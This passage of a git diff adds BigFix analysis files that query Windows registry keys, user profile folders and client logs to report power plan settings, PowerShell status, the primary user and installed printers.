registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\4f971e89-eebd-4455-a8de-9e59040e7347\5ca83367-6e45-459f-a27b-476b1d01c936\DefaultPowerSchemeValues&quot; of native registry) as string))</Property>
+    <Property ID="4" Name="Power - Lid Close Action on DC - Windows" EvaluationPeriod="P1D">preceding texts of firsts &quot;%00&quot; of following texts of lasts &quot;,&quot; of  (/* Group Policy Comes First */ (value &quot;DCSettingIndex&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings\5ca83367-6e45-459f-a27b-476b1d01c936&quot; of native registry as string) | /* Next comes Power Scheme  Customizations */ (value &quot;DCSettingIndex&quot; of keys &quot;4f971e89-eebd-4455-a8de-9e59040e7347\5ca83367-6e45-459f-a27b-476b1d01c936&quot; of keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry as string) | /* Then Power Scheme Defaults */ (value &quot;DCSettingIndex&quot; of (keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\4f971e89-eebd-4455-a8de-9e59040e7347\5ca83367-6e45-459f-a27b-476b1d01c936\DefaultPowerSchemeValues&quot; of native registry) as string))</Property>
+    <Property ID="5" Name="Power - Hard Disk Timeout on AC - Windows" EvaluationPeriod="P1D">/* Group Policy Comes First */ (value &quot;ACSettingIndex&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings\6738e2c4-e8a5-4a42-b16a-e040e769756e&quot; of native registry as string) | /* Next comes Power Scheme  Customizations */ (value &quot;AcSettingIndex&quot; of keys &quot;0012ee47-9041-4b5d-9b77-535fba8b1442\6738e2c4-e8a5-4a42-b16a-e040e769756e&quot; of keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry as string) | /* Then Power Scheme Defaults */ (value &quot;AcSettingIndex&quot; of (keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\0012ee47-9041-4b5d-9b77-535fba8b1442\6738e2c4-e8a5-4a42-b16a-e040e769756e\DefaultPowerSchemeValues&quot; of native registry) as string) |  /* Default to 0 */ &quot;0&quot; </Property>
+    <Property ID="6" Name="Power - Hard Disk Timeout on DC - Windows" EvaluationPeriod="P1D">/* Group Policy Comes First */ (value &quot;DCSettingIndex&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings\6738e2c4-e8a5-4a42-b16a-e040e769756e&quot; of native registry as string) | /* Next comes Power Scheme  Customizations */ (value &quot;DCSettingIndex&quot; of keys &quot;0012ee47-9041-4b5d-9b77-535fba8b1442\6738e2c4-e8a5-4a42-b16a-e040e769756e&quot; of keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry as string) | /* Then Power Scheme Defaults */ (value &quot;DCSettingIndex&quot; of (keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\0012ee47-9041-4b5d-9b77-535fba8b1442\6738e2c4-e8a5-4a42-b16a-e040e769756e\DefaultPowerSchemeValues&quot; of native registry) as string) |  /* Default to 0 */ &quot;0&quot;</Property>
+    <Property ID="7" Name="Power - Standby Timeout on AC - Windows" EvaluationPeriod="P1D">/* Group Policy Comes First */ (value &quot;ACSettingIndex&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings\29f6c1db-86da-48c5-9fdb-f2b67b1f44da&quot; of native registry as string) | /* Next comes Power Scheme  Customizations */ (value &quot;AcSettingIndex&quot; of keys &quot;238C9FA8-0AAD-41ED-83F4-97BE242C8F20\29f6c1db-86da-48c5-9fdb-f2b67b1f44da&quot; of keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry as string) | /* Then Power Scheme Defaults */ (value &quot;AcSettingIndex&quot; of (keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\29f6c1db-86da-48c5-9fdb-f2b67b1f44da\DefaultPowerSchemeValues&quot; of native registry) as string) |  /* Default to 0 */ &quot;0&quot;  </Property>
+    <Property ID="8" Name="Power - Standby Timeout on DC - Windows" EvaluationPeriod="P1D">/* Group Policy Comes First */ (value &quot;DCSettingIndex&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings\29f6c1db-86da-48c5-9fdb-f2b67b1f44da&quot; of native registry as string) | /* Next comes Power Scheme  Customizations */ (value &quot;DCSettingIndex&quot; of keys &quot;238C9FA8-0AAD-41ED-83F4-97BE242C8F20\29f6c1db-86da-48c5-9fdb-f2b67b1f44da&quot; of keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry as string) | /* Then Power Scheme Defaults */ (value &quot;DCSettingIndex&quot; of (keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\29f6c1db-86da-48c5-9fdb-f2b67b1f44da\DefaultPowerSchemeValues&quot; of native registry) as string) |  /* Default to 0 */ &quot;0&quot; </Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Power Plan Settings - Windows  TODO (2994762).bes b/Sites/Windows Management/Fixlets/Analyses/Power Plan Settings - Windows  TODO (2994762).bes
new file mode 100644
index 000000000..338a85873
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Power Plan Settings - Windows  TODO (2994762).bes	
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Power Plan Settings - Windows  TODO
+  ID       : 2994762
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-01-29T10:51:31
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Power Plan Settings - Windows TODO</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "6.0"]]></Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 29 Jan 2015 17:32:58 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Power Plan Friendly Names" EvaluationPeriod="PT12H">unique values of (preceding texts of lasts &quot;%00&quot; of following texts of lasts &quot;,&quot; of it) of (it as string as trimmed string) of values &quot;FriendlyName&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of (x64 registries;x32 registries)</Property>
+    <Property ID="2" Name="Friendly Name of Preffered Power Plan" EvaluationPeriod="PT12H">unique values of (preceding texts of lasts &quot;%00&quot; of following texts of lasts &quot;,&quot; of it) of (it as string as trimmed string) of values &quot;FriendlyName&quot; of keys whose( (set of unique values of (it as string as trimmed string) of values &quot;PreferredPlan&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace\{025A5937-A6BE-4686-A844-36FE4BEC8B6D}&quot; of (x64 registries;x32 registries) ) contains (name of it)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of (x64 registries;x32 registries)</Property>
+    <Property ID="3" Name="Friendly Name of current Power Plan" EvaluationPeriod="PT12H">unique values of (preceding texts of lasts &quot;%00&quot; of following texts of lasts &quot;,&quot; of it) of (it as string as trimmed string) of values &quot;FriendlyName&quot; of keys whose( (set of unique values of (it as string as trimmed string) of values &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Power\User\PowerSchemes&quot; of (x64 registries;x32 registries) ) contains (name of it) ) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of (x64 registries;x32 registries)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/PowerShell x64 Status (19).bes b/Sites/Windows Management/Fixlets/Analyses/PowerShell x64 Status (19).bes
new file mode 100644
index 000000000..165d7800e
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/PowerShell x64 Status (19).bes	
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : PowerShell x64 Status
+  ID       : 19
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-17T09:32:22
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>PowerShell x64 Status</Title>
+    <Description>Pull back status on the PowerShell installation on this system. </Description>
+    <Relevance>name of operating system as string contains &quot;Win&quot;</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1&quot; whose (value &quot;Install&quot; of it as integer = 1) of registry</Relevance>
+    <Relevance>x64 of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 01 Oct 2012 21:29:13 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="ApplicationBase" EvaluationPeriod="PT12H">value &quot;ApplicationBase&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine&quot; of x64 registry</Property>
+    <Property ID="2" Name="PowerShellVersion" EvaluationPeriod="PT12H">value &quot;PowerShellVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine&quot; of x64 registry</Property>
+    <Property ID="3" Name="PSCompatibleVersion" EvaluationPeriod="PT12H">value &quot;PSCompatibleVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine&quot; of x64 registry</Property>
+    <Property ID="4" Name="RuntimeVersion" EvaluationPeriod="PT12H">value &quot;RuntimeVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine&quot; of x64 registry</Property>
+    <Property ID="5" Name="Path" EvaluationPeriod="PT12H">value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of x64 registry</Property>
+    <Property ID="6" Name="ExecutionPolicy">value &quot;ExecutionPolicy&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\ScriptedDiagnostics&quot; of x64 registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/PowerShell x86 Status (20).bes b/Sites/Windows Management/Fixlets/Analyses/PowerShell x86 Status (20).bes
new file mode 100644
index 000000000..ef917d9f7
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/PowerShell x86 Status (20).bes	
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : PowerShell x86 Status
+  ID       : 20
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-17T09:32:22
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>PowerShell x86 Status</Title>
+    <Description>Pull back status on the PowerShell installation on this system. </Description>
+    <Relevance>name of operating system as string contains &quot;Win&quot;</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1&quot; whose (value &quot;Install&quot; of it as integer = 1) of registry</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 01 Oct 2012 21:29:24 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="ApplicationBase" EvaluationPeriod="PT12H">value &quot;ApplicationBase&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine&quot; of registry</Property>
+    <Property ID="2" Name="PowerShellVersion" EvaluationPeriod="PT12H">value &quot;PowerShellVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine&quot; of registry</Property>
+    <Property ID="3" Name="PSCompatibleVersion" EvaluationPeriod="PT12H">value &quot;PSCompatibleVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine&quot; of registry</Property>
+    <Property ID="4" Name="RuntimeVersion" EvaluationPeriod="PT12H">value &quot;RuntimeVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine&quot; of registry</Property>
+    <Property ID="5" Name="Path" EvaluationPeriod="PT12H">value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of registry</Property>
+    <Property ID="6" Name="ExecutionPolicy">value &quot;ExecutionPolicy&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\ScriptedDiagnostics&quot; of registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/PowerShell x86 Status - Windows (2994540).bes b/Sites/Windows Management/Fixlets/Analyses/PowerShell x86 Status - Windows (2994540).bes
new file mode 100644
index 000000000..63359ff83
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/PowerShell x86 Status - Windows (2994540).bes	
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : PowerShell x86 Status - Windows
+  ID       : 2994540
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-06-26T14:30:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>PowerShell x86 Status - Windows</Title>
+    <Description><![CDATA[<P>Located here: <A href="http://bigfix.me/cdb/analysis/89"><FONT color=#000080>http://bigfix.me/cdb/analysis/89</FONT></A></P>
+<P>Based upon this: <A href="http://bigfix.me/cdb/analysis/20">http://bigfix.me/cdb/analysis/20</A><BR><BR>Pull back status on the PowerShell installation on this system.</P>]]></Description>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1&quot; whose (value &quot;Install&quot; of it as integer = 1) of registry</Relevance>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>bigfixme-added-time</Name>
+      <Value>Wed, 17 Oct 2012 09:32:22 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-modification-time</Name>
+      <Value>Wed, 17 Oct 2012 09:37:41 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-keywords</Name>
+      <Value>PowerShell Status Pull ApplicationBase PowerShellVersion</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 26 Jun 2013 21:29:49 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="5" Name="Path" EvaluationPeriod="PT12H">value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of registry</Property>
+    <Property ID="1" Name="ApplicationBase" EvaluationPeriod="PT12H">value &quot;ApplicationBase&quot; of key &quot;PowerShellEngine&quot; of key ((it as string) of maximum of (it as integer) of names of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell&quot; of registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell&quot; of registry</Property>
+    <Property ID="2" Name="PowerShellVersion" EvaluationPeriod="PT12H">value &quot;PowerShellVersion&quot; of key &quot;PowerShellEngine&quot; of key ((it as string) of maximum of (it as integer) of names of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell&quot; of registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell&quot; of registry</Property>
+    <Property ID="3" Name="PSCompatibleVersion" EvaluationPeriod="PT12H">value &quot;PSCompatibleVersion&quot; of key &quot;PowerShellEngine&quot; of key ((it as string) of maximum of (it as integer) of names of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell&quot; of registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell&quot; of registry</Property>
+    <Property ID="4" Name="RuntimeVersion" EvaluationPeriod="PT12H">value &quot;RuntimeVersion&quot; of key &quot;PowerShellEngine&quot; of key ((it as string) of maximum of (it as integer) of names of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell&quot; of registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell&quot; of registry</Property>
+    <Property ID="6" Name="ExecutionPolicy" EvaluationPeriod="PT1H">if (not exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\ScriptedDiagnostics&quot; whose(exists value &quot;ExecutionPolicy&quot; of it) of registry) then ERROR &quot;no ExecutionPolicy set&quot; else (value &quot;ExecutionPolicy&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\ScriptedDiagnostics&quot; whose(exists value &quot;ExecutionPolicy&quot; of it) of registry)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Primary User - Windows (2995831).bes b/Sites/Windows Management/Fixlets/Analyses/Primary User - Windows (2995831).bes
new file mode 100644
index 000000000..34f9227a7
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Primary User - Windows (2995831).bes	
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Primary User - Windows
+  ID       : 2995831
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-01-25T16:49:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Primary User - Windows</Title>
+    <Description><![CDATA[<P>This analysis attempts to identify the Primary User of the system.</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 25 Jan 2016 23:39:57 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="PrimaryUser (Combined)" EvaluationPeriod="PT12H">ERROR &quot;NotYetWritten&quot;</Property>
+    <Property ID="4" Name="PrimaryUser Setting" EvaluationPeriod="PT1H">unique values of (it as string as trimmed string) of values of settings whose(&quot;PrimaryUser&quot; = name of it) of clients</Property>
+    <Property ID="5" Name="User with most logons" EvaluationPeriod="PT6H">unique values of names of users whose( logon count of it = maximum of logon counts of users )</Property>
+    <Property ID="6" Name="Last Logged on User - Windows" EvaluationPeriod="PT6H">unique values of items 1 of (modification time of it,name of parent folder of it) whose( item 0 of it = ( maximum of modification times of files &quot;NTUSER.DAT&quot; of folders whose ( exists file &quot;NTUSER.DAT&quot; of it AND name of it as lowercase is not contained by set of ( &quot;networkservice&quot;;&quot;localservice&quot;;&quot;administrator&quot;;&quot;default&quot;;&quot;public&quot;;&quot;la-client&quot;;&quot;OTHER_EXCLUDED_USERS&quot; ) ) of (folders &quot;c:\users&quot;; folders &quot;c:\Documents and Settings&quot;) ) ) of files &quot;NTUSER.DAT&quot; of folders whose ( exists file &quot;NTUSER.DAT&quot; of it AND name of it as lowercase is not contained by set of ( &quot;networkservice&quot;;&quot;localservice&quot;;&quot;administrator&quot;;&quot;default&quot;;&quot;public&quot;;&quot;la-client&quot;;&quot;OTHER_EXCLUDED_USERS&quot; ) ) of (folders &quot;c:\users&quot;; folders &quot;c:\Documents and Settings&quot;)</Property>
+    <Property ID="7" Name="Users" EvaluationPeriod="PT6H">(&quot;%22&quot; &amp; it &amp; &quot;%22&quot;) of concatenations &quot;%22;%22&quot; of unique values of (names of logged on users; names of users; names of current users; names of local users)</Property>
+    <Property ID="9" Name="Users logged in (in BESClient Log - 30 days)" EvaluationPeriod="PT12H">unique values of (preceding texts of lasts &quot;&apos;&quot; of following texts of firsts &quot;User interface process started for user &apos;&quot; of it) of lines whose(it contains &quot;User interface process started for user &apos;&quot;) of files whose( (exists lines of it) AND (name of it as uppercase ends with &quot;.LOG&quot;) AND ( (name of it starts with ((it as string) of ( current year )) ) OR (name of it starts with ((it as string) of ( current year - 1*year )) ) ) ) of folders &quot;__Global/Logs&quot; of ((data folder of client)|(folder &quot;/var/opt/BESClient/__BESData&quot;)|(folder &quot;/Library/Application Support/BigFix/BES Agent/__BESData&quot;)|(folder &quot;__BESData&quot; of parent folder of client))</Property>
+    <Property ID="10" Name="User with the most logins (in BESClient Log)" EvaluationPeriod="P1D">(it) whose( multiplicity of it = maximum of multiplicities of unique values of (preceding texts of lasts &quot;&apos;&quot; of following texts of firsts &quot;User interface process started for user &apos;&quot; of it) of lines whose(it contains &quot;User interface process started for user &apos;&quot;) of files whose( (exists lines of it) AND (name of it as uppercase ends with &quot;.LOG&quot;) AND ( (name of it starts with ((it as string) of ( current year )) ) OR (name of it starts with ((it as string) of ( current year - 1*year )) ) ) ) of folders &quot;__Global/Logs&quot; of (data folder of client) ) of unique values of (preceding texts of lasts &quot;&apos;&quot; of following texts of firsts &quot;User interface process started for user &apos;&quot; of it) of lines whose(it contains &quot;User interface process started for user &apos;&quot;) of files whose( (exists lines of it) AND (name of it as uppercase ends with &quot;.LOG&quot;) AND ( (name of it starts with ((it as string) of ( current year )) ) OR (name of it starts with ((it as string) of ( current year - 1*year )) ) ) ) of folders &quot;__Global/Logs&quot; of (data folder of client)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Printer Audit - Windows (2994742).bes b/Sites/Windows Management/Fixlets/Analyses/Printer Audit - Windows (2994742).bes
new file mode 100644
index 000000000..2f498768d
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Printer Audit - Windows (2994742).bes	
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Printer Audit - Windows
+  ID       : 2994742
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-10-17T07:54:17
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Printer Audit - Windows</Title>
+    <Description><![CDATA[<P>This Analysis provides information about Windows Printers.</P>
+<P>&nbsp;</P>
+<P>Related:</P>
+<P><A href="https://www.ibm.com/developerworks/community/forums/html/topic?id=d0fa8b7c-9d26-420c-b82b-fbe307f3f4b1&amp;ps=100"><FONT color=#000080>https://www.ibm.com/developerworks/community/forums/html/topic?id=d0fa8b7c-9d26-420c-b82b-fbe307f3f4b1&amp;ps=100</FONT></A></P>
+<P>&nbsp;</P>
+<P>References:</P>
+<P><A href="http://www.stigviewer.com/stig/windows_7/2014-04-02/finding/V-21963">http://www.stigviewer.com/stig/windows_7/2014-04-02/finding/V-21963</A></P>
+<P><A href="http://www.scaprepo.com/view.jsp?id=CCE-18881-3">http://www.scaprepo.com/view.jsp?id=CCE-18881-3</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 17 Oct 2014 14:48:24 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="# Local Printers" EvaluationPeriod="PT12H">number of keys whose (value &quot;Port&quot; of it as string contains &quot;LPT&quot; OR value &quot;Port&quot; of it as string contains &quot;DOT4&quot; OR value &quot;Port&quot; of it as string contains &quot;USB&quot;) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers&quot; of registry as string</Property>
+    <Property ID="2" Name="# IP Address Network Printers" EvaluationPeriod="PT12H">number of keys whose (4 = number of substrings separated by &quot;.&quot; of (value &quot;Port&quot; of it as string)) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers&quot; of registry as string</Property>
+    <Property ID="3" Name="Printers" EvaluationPeriod="PT12H">concatenation &quot;, &quot; of unique values of names whose(it as string does not contain &quot;Microsoft&quot; AND it as string does not contain &quot;PDF&quot; AND it as string as lowercase does not contain &quot;fax&quot; AND it as string does not contain &quot;OneNote&quot; AND it as string does not contain &quot;PaperPort&quot;) of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers&quot; of registry</Property>
+    <Property ID="5" Name="Printer Models" EvaluationPeriod="PT12H">concatenation &quot;, &quot; of unique values of (values &quot;Model&quot; whose(it as string does not contain &quot;Microsoft&quot; AND it as string does not contain &quot;PDF&quot; AND it as string as lowercase does not contain &quot;fax&quot; AND it as string does not contain &quot;OneNote&quot; AND it as string does not contain &quot;PaperPort&quot;) of keys of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers&quot; of registry as string)</Property>
